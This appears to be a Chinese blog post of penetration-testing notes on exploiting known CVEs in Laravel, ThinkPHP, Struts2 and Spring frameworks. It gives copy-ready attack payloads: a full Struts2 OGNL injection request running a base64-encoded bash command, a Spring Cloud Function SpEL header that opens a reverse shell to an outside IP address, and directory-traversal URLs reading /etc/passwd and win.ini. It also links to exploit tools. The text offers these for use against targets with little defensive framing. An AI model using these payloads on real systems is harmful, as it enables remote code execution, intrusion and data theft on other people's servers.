框架安全(Laravel、thinkphp、struts2、springboot)

PHP框架

laravel

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。

特征:

CVE-2021-3129

Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发php反序列化,最终造成远程代码执行。

版本影响范围:Laravel <= 8.4.2

工具:https://github.com/zhzyker/CVE-2021-3129

thinkphp

特征:

查看数据包

查看icon图标

查看页面报错信息:

CVE-2018-1002015

对于6以下的版本,我们可以直接使用工具检测是否存在漏洞。(狐狸工具箱)

利用:

对于6的版本存在一个lang 命令执行漏洞。但没有现成工具利用,需要我们直接构造数据包发送。

JAVA框架

struts2

特征识别:访问url中通常是.action

CVE-2020-17530

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。 在特定的环境下,远程攻击者通过构造 恶意的OGNL表达式 ,可造成 任意代码执行。

利用:

工具:https://github.com/YanMu2020/s2-062

CVE-2021-31805

版本范围:Apache Struts 2.0.0 - 2.5.29

利用:以POST形式发送数据(其中要对执行的命令base64编码,然后url编码)

复制代码
Post: /s2_062/index.action
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,%61%57%51%3d}|{base64,-d}|{bash,-i}'}))

springboot

CVE-2021-21234

Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。通过这种方式,Spring Boot致力于在蓬勃发展的快速应用开发领域(rapid application development)成为领导者。
spring-boot-actuator-logview 在一个库中添加了一个简单的日志文件查看器作为 spring boot 执行器端点。它是 maven 包"eu.hinsch:spring-boot-actuator-logview"。**在 0.2.13 版本之前的 spring-boot-actuator-logview 中存在目录遍历漏洞。**该库的本质是通过 admin(spring boot 执行器)HTTP 端点公开日志文件目录。要查看的文件名和基本文件夹(相对于日志文件夹根)都可以通过请求参数指定。虽然检查了文件名参数以防止目录遍历攻击(因此`filename=../somefile` 将不起作用),但没有充分检查基本文件夹参数,因此`filename=somefile&base=../` 可以访问日志记录基目录之外的文件)。该漏洞已在 0.2.13 版中修复。0.2.12 的任何用户都应该能够毫无问题地进行更新,因为该版本中没有其他更改。除了更新或删除依赖项之外,没有解决此漏洞的方法。但是,删除运行应用程序的用户对运行应用程序不需要的任何目录的读取访问权限可以限制影响。此外,可以通过在反向代理后面部署应用程序来限制对 logview 端点的访问。

POC:
http://目标/manage/log/view?filename=etc/passwd\&base=../../../../../../

http://目标/manage/log/view?filename=/windows/win.ini\&base=../../../../../../../

CVE-2022-22963

Spring Cloud Function SPEL 远程代码执行

Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码。

影响版本:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

利用:
POST:/functionRouter

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")

注意以post形式必须提交数据

CVE-2022-22965

Spring Framework远程代码执行漏洞
Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包,是一个包含Spring框架基本的核心工具包,Spring其他组件都要使用到这个包。 未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行。 该漏洞广泛存在于Spring 框架以及衍生的框架中,并JDK 9.0及以上版本会受到影响。
利用:


工具:https : //github.com/BobTheShoplifter/Spring4Shell-PoC

CVE-2022-22947

Spring Cloud Gateway是Spring中的一个 API 网关
影响版本:
Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

参考文章:Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)-腾讯云开发者社区-腾讯云

综合利用工具:
https : //github.com/0x727/SpringBootExploit

相关推荐
BingoGo18 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack18 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
cipher1 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
BingoGo4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·laravel
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理4 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php